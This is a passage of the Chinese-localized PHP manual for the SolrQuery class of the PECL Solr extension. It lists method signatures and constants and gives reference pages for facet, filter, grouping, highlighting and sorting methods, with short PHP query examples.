public setQuery(string $query): SolrQuery
public setRows(int $rows): SolrQuery
public setShowDebugInfo(bool $flag): SolrQuery
public setStart(int $start): SolrQuery
public setStats(bool $flag): SolrQuery
public setTerms(bool $flag): SolrQuery
public setTermsField(string $fieldname): SolrQuery
public setTermsIncludeLowerBound(bool $flag): SolrQuery
public setTermsIncludeUpperBound(bool $flag): SolrQuery
public setTermsLimit(int $limit): SolrQuery
public setTermsLowerBound(string $lowerBound): SolrQuery
public setTermsMaxCount(int $frequency): SolrQuery
public setTermsMinCount(int $frequency): SolrQuery
public setTermsPrefix(string $prefix): SolrQuery
public setTermsReturnRaw(bool $flag): SolrQuery
public setTermsSort(int $sortType): SolrQuery
public setTermsUpperBound(string $upperBound): SolrQuery
public setTimeAllowed(int $timeAllowed): SolrQuery
public __destruct()
/* 继承的方法 */
public SolrModifiableParams::__construct()
public SolrModifiableParams::__destruct()
}

预定义常量

SolrQuery::ORDER_ASC

Used to specify that the sorting should be in acending order

SolrQuery::ORDER_DESC

Used to specify that the sorting should be in descending order

SolrQuery::FACET_SORT_INDEX

Used to specify that the facet should sort by index

SolrQuery::FACET_SORT_COUNT

Used to specify that the facet should sort by count

SolrQuery::TERMS_SORT_INDEX

Used in the TermsComponent

SolrQuery::TERMS_SORT_COUNT

Used in the TermsComponent

Table of Contents

  • SolrQuery::addExpandFilterQuery — Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::addExpandSortField — Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::addFacetDateField — Maps to facet.date
  • SolrQuery::addFacetDateOther — Adds another facet.date.other parameter
  • SolrQuery::addFacetField — Adds another field to the facet
  • SolrQuery::addFacetQuery — Adds a facet query
  • SolrQuery::addField — Specifies which fields to return in the result
  • SolrQuery::addFilterQuery — Specifies a filter query
  • SolrQuery::addGroupField — Add a field to be used to group results
  • SolrQuery::addGroupFunction — Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery — Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField — Add a group sort field (group.sort parameter)
  • SolrQuery::addHighlightField — Maps to hl.fl
  • SolrQuery::addMltField — Sets a field to use for similarity
  • SolrQuery::addMltQueryField — Maps to mlt.qf
  • SolrQuery::addSortField — Used to control how the results should be sorted
  • SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet
  • SolrQuery::addStatsField — Maps to stats.field parameter
  • SolrQuery::collapse — Collapses the result set to a single document per group
  • SolrQuery::__construct — Constructor
  • SolrQuery::__destruct — Destructor
  • SolrQuery::getExpand — Returns true if group expanding is enabled
  • SolrQuery::getExpandFilterQueries — Returns the expand filter queries
  • SolrQuery::getExpandQuery — Returns the expand query expand.q parameter
  • SolrQuery::getExpandRows — Returns The number of rows to display in each group (expand.rows)
  • SolrQuery::getExpandSortFields — Returns an array of fields
  • SolrQuery::getFacet — Returns the value of the facet parameter
  • SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter
  • SolrQuery::getFacetDateFields — Returns all the facet.date fields
  • SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter
  • SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter
  • SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter
  • SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field
  • SolrQuery::getFacetFields — Returns all the facet fields
  • SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields
  • SolrQuery::getFacetMethod — Returns the value of the facet.method parameter
  • SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response
  • SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter
  • SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination
  • SolrQuery::getFacetPrefix — Returns the facet prefix
  • SolrQuery::getFacetQueries — Returns all the facet queries
  • SolrQuery::getFacetSort — Returns the facet sort type
  • SolrQuery::getFields — Returns the list of fields that will be returned in the response
  • SolrQuery::getFilterQueries — Returns an array of filter queries
  • SolrQuery::getGroup — Returns true if grouping is enabled
  • SolrQuery::getGroupCachePercent — Returns group cache percent value
  • SolrQuery::getGroupFacet — Returns the group.facet parameter value
  • SolrQuery::getGroupFields — Returns group fields (group.field parameter values)
  • SolrQuery::getGroupFormat — Returns the group.format value
  • SolrQuery::getGroupFunctions — Returns group functions (group.func parameter values)
  • SolrQuery::getGroupLimit — Returns the group.limit value
  • SolrQuery::getGroupMain — Returns the group.main value
  • SolrQuery::getGroupNGroups — Returns the group.ngroups value
  • SolrQuery::getGroupOffset — Returns the group.offset value
  • SolrQuery::getGroupQueries — Returns all the group.query parameter values
  • SolrQuery::getGroupSortFields — Returns the group.sort value
  • SolrQuery::getGroupTruncate — Returns the group.truncate value
  • SolrQuery::getHighlight — Returns the state of the hl parameter
  • SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default
  • SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for
  • SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output
  • SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text
  • SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting
  • SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries
  • SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return
  • SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets
  • SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment
  • SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter
  • SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting
  • SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size
  • SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field
  • SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term
  • SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term
  • SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field
  • SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter
  • SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled
  • SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance
  • SolrQuery::getMltCount — Returns the number of similar documents to return for each result
  • SolrQuery::getMltFields — Returns all the fields to use for similarity
  • SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query
  • SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support
  • SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored
  • SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs
  • SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document
  • SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored
  • SolrQuery::getMltQueryFields — Returns the query fields and their boosts
  • SolrQuery::getQuery — Returns the main query
  • SolrQuery::getRows — Returns the maximum number of documents
  • SolrQuery::getSortFields — Returns all the sort fields
  • SolrQuery::getStart — Returns the offset in the complete result set
  • SolrQuery::getStats — Returns whether or not stats is enabled
  • SolrQuery::getStatsFacets — Returns all the stats facets that were set
  • SolrQuery::getStatsFields — Returns all the statistics fields
  • SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled
  • SolrQuery::getTermsField — Returns the field from which the terms are retrieved
  • SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set
  • SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set
  • SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return
  • SolrQuery::getTermsLowerBound — Returns the term to start at
  • SolrQuery::getTermsMaxCount — Returns the maximum document frequency
  • SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included
  • SolrQuery::getTermsPrefix — Returns the term prefix
  • SolrQuery::getTermsReturnRaw — Whether or not to return raw characters
  • SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted
  • SolrQuery::getTermsUpperBound — Returns the term to stop at
  • SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish
  • SolrQuery::removeExpandFilterQuery — Removes an expand filter query
  • SolrQuery::removeExpandSortField — Removes an expand sort field from the expand.sort parameter
  • SolrQuery::removeFacetDateField — Removes one of the facet date fields
  • SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters
  • SolrQuery::removeFacetField — Removes one of the facet.date parameters
  • SolrQuery::removeFacetQuery — Removes one of the facet.query parameters
  • SolrQuery::removeField — Removes a field from the list of fields
  • SolrQuery::removeFilterQuery — Removes a filter query
  • SolrQuery::removeHighlightField — Removes one of the fields used for highlighting
  • SolrQuery::removeMltField — Removes one of the moreLikeThis fields
  • SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields
  • SolrQuery::removeSortField — Removes one of the sort fields
  • SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters
  • SolrQuery::removeStatsField — Removes one of the stats.field parameters
  • SolrQuery::setEchoHandler — Toggles the echoHandler parameter
  • SolrQuery::setEchoParams — Determines what kind of parameters to include in the response
  • SolrQuery::setExpand — Enables/Disables the Expand Component
  • SolrQuery::setExpandQuery — Sets the expand.q parameter
  • SolrQuery::setExpandRows — Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExplainOther — Sets the explainOther common query parameter
  • SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting
  • SolrQuery::setFacetDateEnd — Maps to facet.date.end
  • SolrQuery::setFacetDateGap — Maps to facet.date.gap
  • SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend
  • SolrQuery::setFacetDateStart — Maps to facet.date.start
  • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count
  • SolrQuery::setFacetLimit — Maps to facet.limit
  • SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field
  • SolrQuery::setFacetMinCount — Maps to facet.mincount
  • SolrQuery::setFacetMissing — Maps to facet.missing
  • SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination
  • SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet
  • SolrQuery::setFacetSort — Determines the ordering of the facet field constraints
  • SolrQuery::setGroup — Enable/Disable result grouping (group parameter)
  • SolrQuery::setGroupCachePercent — Enables caching for result grouping
  • SolrQuery::setGroupFacet — Sets group.facet parameter
  • SolrQuery::setGroupFormat — Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupLimit — Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain — If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups — If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupOffset — Sets the group.offset parameter
  • SolrQuery::setGroupTruncate — If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setHighlight — Enables or disables highlighting
  • SolrQuery::setHighlightAlternateField — Specifies the backup field to use
  • SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output
  • SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text
  • SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting
  • SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms
  • SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return
  • SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets
  • SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment
  • SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze
  • SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting
  • SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size
  • SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting
  • SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term
  • SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term
  • SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field
  • SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase
  • SolrQuery::setMlt — Enables or disables moreLikeThis
  • SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance
  • SolrQuery::setMltCount — Set the number of similar documents to return for each result
  • SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included
  • SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse
  • SolrQuery::setMltMaxWordLength — Sets the maximum word length
  • SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency
  • SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs
  • SolrQuery::setMltMinWordLength — Sets the minimum word length
  • SolrQuery::setOmitHeader — Exclude the header from the returned results
  • SolrQuery::setQuery — Sets the search query
  • SolrQuery::setRows — Specifies the maximum number of rows to return in the result
  • SolrQuery::setShowDebugInfo — Flag to show debug information
  • SolrQuery::setStart — Specifies the number of rows to skip
  • SolrQuery::setStats — Enables or disables the Stats component
  • SolrQuery::setTerms — Enables or disables the TermsComponent
  • SolrQuery::setTermsField — Sets the name of the field to get the Terms from
  • SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set
  • SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set
  • SolrQuery::setTermsLimit — Sets the maximum number of terms to return
  • SolrQuery::setTermsLowerBound — Specifies the Term to start from
  • SolrQuery::setTermsMaxCount — Sets the maximum document frequency
  • SolrQuery::setTermsMinCount — Sets the minimum document frequency
  • SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix
  • SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term
  • SolrQuery::setTermsSort — Specifies how to sort the returned terms
  • SolrQuery::setTermsUpperBound — Sets the term to stop at
  • SolrQuery::setTimeAllowed — The time allowed for search to finish

User Contributed Notes

andy at borkedcoder dot com 29-Jan-2012 11:36
Note - if using morelikethis, and your query is on a numeric ID, then you will not be able to access the moreLikeThis object in the results...

when q=id:3493 searching with mlt, result is:

SolrObject Object
(
...
    [moreLikeThis] => SolrObject Object
        (
            [3493] => SolrObject Object
                (
                    [numFound] => 6286
                    [start] => 0
                    [docs] => Array
                        (
....etc

the numeric object name (3493 above) is impossible to access

not by $response->moreLikeThis->{3493} nor $response->moreLikeThis->{'3493'}, nothing...

only way is to convert the moreLikeThis object into an array with:
$response_array = (array) $response->moreLikeThis;

then iterate the array as the array key is known.


Overrides main filter query, determines which documents to include in the main group

  • ? SolrQuery
  • SolrQuery::addExpandSortField ?
  • PHP Manual
  • SolrQuery
  • Overrides main filter query, determines which documents to include in the main group

SolrQuery::addExpandFilterQuery

(PECL solr >= 2.2.0)

SolrQuery::addExpandFilterQuery — Overrides main filter query, determines which documents to include in the main group

说明

public SolrQuery::addExpandFilterQuery(string $fq): SolrQuery

Overrides main filter query, determines which documents to include in the main group.

参数

fq

返回值

SolrQuery

参见

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Orders the documents within the expanded groups (expand.sort parameter)

  • ? SolrQuery::addExpandFilterQuery
  • SolrQuery::addFacetDateField ?
  • PHP Manual
  • SolrQuery
  • Orders the documents within the expanded groups (expand.sort parameter)

SolrQuery::addExpandSortField

(PECL solr >= 2.2.0)

SolrQuery::addExpandSortField — Orders the documents within the expanded groups (expand.sort parameter)

说明

public SolrQuery::addExpandSortField(string $field, string $order = ?): SolrQuery

Orders the documents within the expanded groups (expand.sort parameter).

参数

field

field name

order

Order ASC/DESC, utilizes SolrQuery::ORDER_* constants.

Default: SolrQuery::ORDER_DESC

返回值

SolrQuery

参见

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date

  • ? SolrQuery::addExpandSortField
  • SolrQuery::addFacetDateOther ?
  • PHP Manual
  • SolrQuery
  • Maps to facet.date

SolrQuery::addFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateField — Maps to facet.date

说明

public SolrQuery::addFacetDateField(string $dateField): SolrQuery

This method allows you to specify a field which should be treated as a facet.

It can be used multiple times with different field names to indicate multiple facet fields

参数

dateField

The name of the date field.

返回值

Returns a SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Adds another facet.date.other parameter

  • ? SolrQuery::addFacetDateField
  • SolrQuery::addFacetField ?
  • PHP Manual
  • SolrQuery
  • Adds another facet.date.other parameter

SolrQuery::addFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateOther — Adds another facet.date.other parameter

说明

public SolrQuery::addFacetDateOther(string $value, string $field_override = ?): SolrQuery

Sets the facet.date.other parameter. Accepts an optional field override

参数

value

The value to use.

field_override

The field name for the override.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Adds another field to the facet

  • ? SolrQuery::addFacetDateOther
  • SolrQuery::addFacetQuery ?
  • PHP Manual
  • SolrQuery
  • Adds another field to the facet

SolrQuery::addFacetField

(PECL solr >= 0.9.2)

SolrQuery::addFacetField — Adds another field to the facet

说明

public SolrQuery::addFacetField(string $field): SolrQuery

Adds another field to the facet

参数

field

The name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

示例

Example #1 SolrQuery::addFacetField() example

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery($query);

$query->addField('price')->addField('color');

$query->setFacet(true);

$query->addFacetField('price')->addFacetField('color');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response['facet_counts']['facet_fields']);

?>

以上示例的输出类似于：

SolrObject Object
(
    [color] => SolrObject Object
        (
            [blue] => 20
            [green] => 100
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Adds a facet query

  • ? SolrQuery::addFacetField
  • SolrQuery::addField ?
  • PHP Manual
  • SolrQuery
  • Adds a facet query

SolrQuery::addFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::addFacetQuery — Adds a facet query

说明

public SolrQuery::addFacetQuery(string $facetQuery): SolrQuery

Adds a facet query

参数

facetQuery

The facet query

返回值

Returns the current SolrQuery object, if the return value is used.

示例

Example #1 SolrQuery::addFacetField() example

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetQuery('price:[* TO 500]')->addFacetQuery('price:[500 TO *]');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response->facet_counts->facet_queries);

?>

以上示例的输出类似于：

SolrObject Object
(
    [price:[* TO 500]] => 14
    [price:[500 TO *]] => 2
)

User Contributed Notes

There are no user contributed notes for this page.


Specifies which fields to return in the result

  • ? SolrQuery::addFacetQuery
  • SolrQuery::addFilterQuery ?
  • PHP Manual
  • SolrQuery
  • Specifies which fields to return in the result

SolrQuery::addField

(PECL solr >= 0.9.2)

SolrQuery::addField — Specifies which fields to return in the result

说明

public SolrQuery::addField(string $field): SolrQuery

This method is used to used to specify a set of fields to return, thereby restricting the amount of data returned in the response.

It should be called multiple time, once for each field name.

参数

field

The name of the field

返回值

Returns the current SolrQuery object

User Contributed Notes

There are no user contributed notes for this page.


Specifies a filter query

  • ? SolrQuery::addField
  • SolrQuery::addGroupField ?
  • PHP Manual
  • SolrQuery
  • Specifies a filter query

SolrQuery::addFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::addFilterQuery — Specifies a filter query

说明

public SolrQuery::addFilterQuery(string $fq): SolrQuery

Specifies a filter query

参数

fq

The filter query

返回值

Returns the current SolrQuery object.

示例

Example #1 SolrQuery::addFilterQuery() example

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('*:*');

$query->addFilterQuery('color:blue,green');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response['facet_counts']['facet_fields']);

?>

以上示例的输出类似于：

 &fq=color:blue,green

User Contributed Notes

There are no user contributed notes for this page.


Add a field to be used to group results

  • ? SolrQuery::addFilterQuery
  • SolrQuery::addGroupFunction ?
  • PHP Manual
  • SolrQuery
  • Add a field to be used to group results

SolrQuery::addGroupField

(PECL solr >= 2.2.0)

SolrQuery::addGroupField — Add a field to be used to group results

说明

public SolrQuery::addGroupField(string $value): SolrQuery

The name of the field by which to group results. The field must be single-valued, and either be indexed or a field type that has a value source and works in a function query, such as ExternalFileField. It must also be a string-based field, such as StrField or TextField Uses group.field parameter

参数

value

The name of the field.

返回值

Returns an instance of SolrQuery.

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Allows grouping results based on the unique values of a function query (group.func parameter)

  • ? SolrQuery::addGroupField
  • SolrQuery::addGroupQuery ?
  • PHP Manual
  • SolrQuery
  • Allows grouping results based on the unique values of a function query (group.func parameter)

SolrQuery::addGroupFunction

(PECL solr >= 2.2.0)

SolrQuery::addGroupFunction — Allows grouping results based on the unique values of a function query (group.func parameter)

说明

public SolrQuery::addGroupFunction(string $value): SolrQuery

Adds a group function (group.func parameter) Allows grouping results based on the unique values of a function query.

参数

value

返回值

SolrQuery

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Allows grouping of documents that match the given query

  • ? SolrQuery::addGroupFunction
  • SolrQuery::addGroupSortField ?
  • PHP Manual
  • SolrQuery
  • Allows grouping of documents that match the given query

SolrQuery::addGroupQuery

(PECL solr >= 2.2.0)

SolrQuery::addGroupQuery — Allows grouping of documents that match the given query

说明

public SolrQuery::addGroupQuery(string $value): SolrQuery

Allows grouping of documents that match the given query. Adds query to the group.query parameter

参数

value

返回值

SolrQuery

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Add a group sort field (group.sort parameter)

  • ? SolrQuery::addGroupQuery
  • SolrQuery::addHighlightField ?
  • PHP Manual
  • SolrQuery
  • Add a group sort field (group.sort parameter)

SolrQuery::addGroupSortField

(PECL solr >= 2.2.0)

SolrQuery::addGroupSortField — Add a group sort field (group.sort parameter)

说明

public SolrQuery::addGroupSortField(string $field, int $order = ?): SolrQuery

Allow sorting group documents, using group sort field (group.sort parameter).

参数

field

Field name

order

Order ASC/DESC, utilizes SolrQuery::ORDER_* constants

返回值

示例

Example #1 SolrQuery::addGroupSortField() example

<?php

$solrQuery = new SolrQuery('*:*');
$solrQuery
->setGroup(true)
->addGroupSortField('price', SolrQuery::ORDER_ASC);

echo $solrQuery;
?>

以上示例的输出类似于：

q=*:*&group=true&group.sort=price asc

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Maps to hl.fl

  • ? SolrQuery::addGroupSortField
  • SolrQuery::addMltField ?
  • PHP Manual
  • SolrQuery
  • Maps to hl.fl

SolrQuery::addHighlightField

(PECL solr >= 0.9.2)

SolrQuery::addHighlightField — Maps to hl.fl

说明

public SolrQuery::addHighlightField(string $field): SolrQuery

Maps to hl.fl. This is used to specify that highlighted snippets should be generated for a particular field

参数

field

Name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets a field to use for similarity

  • ? SolrQuery::addHighlightField
  • SolrQuery::addMltQueryField ?
  • PHP Manual
  • SolrQuery
  • Sets a field to use for similarity

SolrQuery::addMltField

(PECL solr >= 0.9.2)

SolrQuery::addMltField — Sets a field to use for similarity

说明

public SolrQuery::addMltField(string $field): SolrQuery

Maps to mlt.fl. It specifies that a field should be used for similarity.

参数

field

The name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to mlt.qf

  • ? SolrQuery::addMltField
  • SolrQuery::addSortField ?
  • PHP Manual
  • SolrQuery
  • Maps to mlt.qf

SolrQuery::addMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::addMltQueryField — Maps to mlt.qf

说明

public SolrQuery::addMltQueryField(string $field, float $boost): SolrQuery

Maps to mlt.qf. It is used to specify query fields and their boosts

参数

field

The name of the field

boost

Its boost value

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Used to control how the results should be sorted

  • ? SolrQuery::addMltQueryField
  • SolrQuery::addStatsFacet ?
  • PHP Manual
  • SolrQuery
  • Used to control how the results should be sorted

SolrQuery::addSortField

(PECL solr >= 0.9.2)

SolrQuery::addSortField — Used to control how the results should be sorted

说明

public SolrQuery::addSortField(string $field, int $order = SolrQuery::ORDER_DESC): SolrQuery

Used to control how the results should be sorted.

参数

field

The name of the field

order

The sort direction. This should be either SolrQuery::ORDER_ASC or SolrQuery::ORDER_DESC.

返回值

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Requests a return of sub results for values within the given facet

  • ? SolrQuery::addSortField
  • SolrQuery::addStatsField ?
  • PHP Manual
  • SolrQuery
  • Requests a return of sub results for values within the given facet

